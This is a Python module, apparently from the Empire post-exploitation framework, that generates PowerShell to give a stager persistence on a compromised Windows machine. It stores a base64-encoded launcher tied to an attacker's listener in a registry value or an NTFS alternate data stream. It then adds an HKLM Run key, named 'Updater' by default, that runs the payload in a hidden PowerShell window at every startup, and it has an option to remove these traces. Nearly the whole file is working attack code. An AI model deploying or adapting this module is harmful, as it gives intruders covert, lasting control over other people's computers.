207 lines
8.2 KiB
Python
207 lines
8.2 KiB
Python
import os
|
|
from lib.common import helpers
|
|
|
|
class Module:
|
|
|
|
def __init__(self, mainMenu, params=[]):
|
|
|
|
self.info = {
|
|
'Name': 'Invoke-Registry',
|
|
|
|
'Author': ['@mattifestation', '@harmj0y'],
|
|
|
|
'Description': ('Persist a stager (or script) via the HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run '
|
|
'registry key. This has an easy detection/removal rating.'),
|
|
|
|
'Background' : False,
|
|
|
|
'OutputExtension' : None,
|
|
|
|
'NeedsAdmin' : True,
|
|
|
|
'OpsecSafe' : False,
|
|
|
|
'MinPSVersion' : '2',
|
|
|
|
'Comments': [
|
|
'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1'
|
|
]
|
|
}
|
|
|
|
# any options needed by the module, settable during runtime
|
|
self.options = {
|
|
# format:
|
|
# value_name : {description, required, default_value}
|
|
'Agent' : {
|
|
'Description' : 'Agent to run module on.',
|
|
'Required' : True,
|
|
'Value' : ''
|
|
},
|
|
'Listener' : {
|
|
'Description' : 'Listener to use.',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'KeyName' : {
|
|
'Description' : 'Key name for the run trigger.',
|
|
'Required' : True,
|
|
'Value' : 'Updater'
|
|
},
|
|
'RegPath' : {
|
|
'Description' : 'Registry location to store the script code. Last element is the key name.',
|
|
'Required' : False,
|
|
'Value' : 'HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug'
|
|
},
|
|
'ADSPath' : {
|
|
'Description' : 'Alternate-data-stream location to store the script code.',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'ExtFile' : {
|
|
'Description' : 'Use an external file for the payload instead of a stager.',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'Cleanup' : {
|
|
'Description' : 'Switch. Cleanup the trigger and any script from specified location.',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'UserAgent' : {
|
|
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
|
'Required' : False,
|
|
'Value' : 'default'
|
|
},
|
|
'Proxy' : {
|
|
'Description' : 'Proxy to use for request (default, none, or other).',
|
|
'Required' : False,
|
|
'Value' : 'default'
|
|
},
|
|
'ProxyCreds' : {
|
|
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
|
|
'Required' : False,
|
|
'Value' : 'default'
|
|
}
|
|
}
|
|
|
|
# save off a copy of the mainMenu object to access external functionality
|
|
# like listeners/agent handlers/etc.
|
|
self.mainMenu = mainMenu
|
|
|
|
for param in params:
|
|
# parameter format is [Name, Value]
|
|
option, value = param
|
|
if option in self.options:
|
|
self.options[option]['Value'] = value
|
|
|
|
|
|
def generate(self):
|
|
|
|
listenerName = self.options['Listener']['Value']
|
|
|
|
# trigger options
|
|
keyName = self.options['KeyName']['Value']
|
|
|
|
# storage options
|
|
regPath = self.options['RegPath']['Value']
|
|
adsPath = self.options['ADSPath']['Value']
|
|
|
|
# management options
|
|
extFile = self.options['ExtFile']['Value']
|
|
cleanup = self.options['Cleanup']['Value']
|
|
|
|
# staging options
|
|
userAgent = self.options['UserAgent']['Value']
|
|
proxy = self.options['Proxy']['Value']
|
|
proxyCreds = self.options['ProxyCreds']['Value']
|
|
|
|
|
|
statusMsg = ""
|
|
locationString = ""
|
|
|
|
# for cleanup, remove any script from the specified storage location
|
|
# and remove the specified trigger
|
|
if cleanup.lower() == 'true':
|
|
if adsPath != '':
|
|
# remove the ADS storage location
|
|
if ".txt" not in adsPath:
|
|
print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt")
|
|
return ""
|
|
|
|
script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > "+adsPath+"\"};"
|
|
else:
|
|
# remove the script stored in the registry at the specified reg path
|
|
path = "\\".join(regPath.split("\\")[0:-1])
|
|
name = regPath.split("\\")[-1]
|
|
script = "$RegPath = '"+regPath+"';"
|
|
script += "$parts = $RegPath.split('\\');"
|
|
script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
|
|
script += "$name = $parts[-1];"
|
|
script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;"
|
|
|
|
script += "Remove-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+";"
|
|
script += "'Registry persistence removed.'"
|
|
|
|
return script
|
|
|
|
if extFile != '':
|
|
# read in an external file as the payload and build a
|
|
# base64 encoded version as encScript
|
|
if os.path.exists(extFile):
|
|
f = open(extFile, 'r')
|
|
fileData = f.read()
|
|
f.close()
|
|
|
|
# unicode-base64 encode the script for -enc launching
|
|
encScript = helpers.enc_powershell(fileData)
|
|
statusMsg += "using external file " + extFile
|
|
|
|
else:
|
|
print helpers.color("[!] File does not exist: " + extFile)
|
|
return ""
|
|
|
|
else:
|
|
# if an external file isn't specified, use a listener
|
|
if not self.mainMenu.listeners.is_listener_valid(listenerName):
|
|
# not a valid listener, return nothing for the script
|
|
print helpers.color("[!] Invalid listener: " + listenerName)
|
|
return ""
|
|
|
|
else:
|
|
# generate the PowerShell one-liner with all of the proper options set
|
|
launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
|
|
|
|
encScript = launcher.split(" ")[-1]
|
|
statusMsg += "using listener " + listenerName
|
|
|
|
# store the script in the specified alternate data stream location
|
|
if adsPath != '':
|
|
if ".txt" not in adsPath:
|
|
print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt")
|
|
return ""
|
|
|
|
script = "Invoke-Command -ScriptBlock {cmd /C \"echo "+encScript+" > "+adsPath+"\"};"
|
|
|
|
locationString = "$(cmd /c \''more < "+adsPath+"\'')"
|
|
else:
|
|
# otherwise store the script into the specified registry location
|
|
path = "\\".join(regPath.split("\\")[0:-1])
|
|
name = regPath.split("\\")[-1]
|
|
|
|
statusMsg += " stored in " + regPath + "."
|
|
script = "$RegPath = '"+regPath+"';"
|
|
script += "$parts = $RegPath.split('\\');"
|
|
script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
|
|
script += "$name = $parts[-1];"
|
|
script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value "+encScript+";"
|
|
|
|
# note where the script is stored
|
|
locationString = "$((gp "+path+" "+name+")."+name+")"
|
|
|
|
|
|
script += "$null=Set-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+" -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x="+locationString+";powershell -Win Hidden -enc $x\"';"
|
|
|
|
script += "'Registry persistence established "+statusMsg+"'"
|
|
|
|
return script
|